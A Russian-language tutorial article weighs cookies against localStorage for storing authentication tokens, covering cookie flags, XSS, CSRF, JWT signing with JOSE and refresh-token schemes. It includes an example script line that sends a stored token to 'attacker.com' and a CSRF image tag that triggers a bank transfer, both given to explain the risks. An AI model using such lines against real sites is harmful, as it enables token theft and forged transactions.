Хранение токенов: куки против localStorage

Куки и localStorage решают задачу хранения токенов принципиально разными способами, и выбор между ними напрямую влияет на уровень безопасности приложения, устойчивость к атакам и архитектуру авторизации.

Куки передаются браузером автоматически при каждом запросе к домену, если соблюдены условия домена, пути и срока жизни. Это делает их естественным механизмом для хранения сессионных данных и токенов доступа.

С точки зрения работы с токенами важны несколько характеристик:

  • автоматическая отправка на сервер при каждом HTTP-запросе
  • возможность ограничения через HttpOnly, Secure, SameSite
  • контроль срока жизни через Expires и Max-Age
  • привязка к домену и пути

При использовании куки сервер может полностью управлять жизненным циклом токена. Например, после аутентификации сервер устанавливает cookie:

Set-Cookie: access_token=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict

Такой подход делает токен недоступным для JavaScript-кода, если установлен флаг HttpOnly, что существенно снижает риск кражи через XSS.

Особенно важно понимать роль SameSite:

  • Strict — куки не отправляются при переходах с внешних сайтов
  • Lax — частично разрешает отправку при безопасных навигациях
  • None — требует Secure и отправляет куки всегда

При проектировании авторизации через куки ключевым становится баланс между удобством и защитой от CSRF-атак.

localStorage и особенности работы

localStorage предоставляет синхронное хранилище в браузере, доступное через Jav * aScript:

localStorage.setItem("access_token", token);
const token = localStorage.getItem("access_token");

Главное отличие от cookies — отсутствие автоматической отправки на сервер. Токен нужно вручную добавлять в заголовки запросов:

fetch("/api/data", {
  headers: {
    Authorization: `Bearer ${token}`
  }
});

localStorage имеет несколько важных свойств:

  • данные сохраняются между перезагрузками страницы
  • доступен только на уровне origin
  • полностью управляется JavaScript
  • не имеет встроенных механизмов защиты

Именно последнее свойство делает localStorage уязвимым при наличии XSS-уязвимости. Любой внедрённый скрипт может прочитать токен и отправить его злоумышленнику.

Безопасность: XSS и CSRF

При выборе механизма хранения токенов ключевую роль играют два класса атак.

XSS (Cross-Site Scripting)

XSS позволяет внедрить JavaScript-код в страницу. Если токен хранится в localStorage, то он становится доступен напрямую:

fetch("https://attacker.com/steal?token=" + localStorage.getItem("access_token"));

При куках с HttpOnly такой сценарий становится невозможным, поскольку JavaScript не имеет доступа к значению cookie.

CSRF (Cross-Site Request Forgery)

CSRF использует автоматическую отправку куки браузером. Если токен хранится в cookie, злоумышленник может инициировать запрос с другого сайта:

<img src="https://bank.com/transfer?amount=1000&to=attacker">

Если cookie автоматически прикрепляется, сервер может принять запрос как валидный.

Для защиты применяются:

  • SameSite ограничения
  • CSRF-токены
  • проверка Origin и Referer
  • двойная валидация токена

localStorage не подвержен CSRF напрямую, потому что данные не отправляются автоматически, но становится уязвимым к XSS.

HttpOnly, Secure, SameSite

Флаги cookie играют центральную роль в архитектуре безопасности:

HttpOnly

Запрещает доступ к cookie из JavaScript. Это критически важно для защиты токенов.

Secure

Ограничивает передачу только HTTPS-соединениями, исключая утечку через незашифрованный трафик.

SameSite

Контролирует кросс-доменные запросы и защищает от CSRF.

Комбинация этих флагов часто используется так:

Set-Cookie: refresh_token=...; HttpOnly; Secure; SameSite=Strict

Сценарии использования в SPA

В одностраничных приложениях (SPA) выбор хранилища зависит от архитектуры API.

Хранение access token в localStorage

Часто используется в простых SPA:

  • токен сохраняется после логина
  • отправляется в Authorization header
  • обновляется вручную через refresh endpoint

Проблема — высокая чувствительность к XSS.

Хранение токенов в cookies

Более безопасный вариант:

  • refresh token хранится в HttpOnly cookie
  • access token может быть либо в памяти, либо также в cookie
  • сервер контролирует обновление сессии

Это снижает риск кражи токенов, но требует защиты от CSRF.

Практика с JWT и JOSE

В экосистеме JavaScript работа с токенами часто строится вокруг JWT (JSON Web Token). Библиотека JOSE используется для создания, подписи и проверки токенов.

Пример создания JWT на сервере:

import { SignJWT } from "jose";

const token = await new SignJWT({ userId: 123 })
  .setProtectedHeader({ alg: "HS256" })
  .setExpirationTime("2h")
  .sign(secretKey);

Дальше возникает вопрос хранения этого токена на клиенте.

Если токен помещается в localStorage:

localStorage.setItem("access_token", token);

Если используется cookie:

res.setHeader("Set-Cookie", `access_token=${token}; HttpOnly; Secure; SameSite=Lax`);

JOSE не диктует способ хранения, но архитектурно предполагает, что токен может быть либо полностью stateless (JWT), либо использоваться вместе с серверной сессией.

Стратегии хранения access и refresh tokens

На практике редко используется один токен. Чаще применяется связка:

Access token

  • короткий срок жизни
  • используется для авторизации запросов
  • может храниться в памяти или localStorage

Refresh token

  • долгий срок жизни
  • используется для получения нового access token
  • почти всегда хранится в HttpOnly cookie

Типичная схема:

  1. Пользователь входит в систему
  2. Сервер выдаёт access token и refresh token
  3. refresh token сохраняется в cookie
  4. access token используется в API-запросах
  5. при истечении access token клиент обращается к endpoint обновления
  6. сервер проверяет refresh token из cookie и выдаёт новый access token

Такой подход минимизирует ущерб при утечке access token и защищает refresh token от JavaScript-доступа.

Сравнение подходов на уровне архитектуры

localStorage:

  • простая реализация
  • требует ручного управления токенами
  • уязвим к XSS
  • не подходит для высокозащищённых систем без дополнительных мер

Cookies:

  • автоматическая отправка
  • поддержка HttpOnly
  • лучше подходят для серверной сессии
  • требуют защиты от CSRF

Выбор механизма хранения влияет не только на безопасность, но и на то, как строится взаимодействие клиента и сервера, как реализуется logout, обновление токенов и контроль сессий.

В приложениях, где используется JOSE и JWT, важно учитывать, что сам формат токена не решает вопрос хранения. Он лишь определяет способ передачи и проверки данных, тогда как безопасность определяется именно местом хранения и политикой доступа браузера.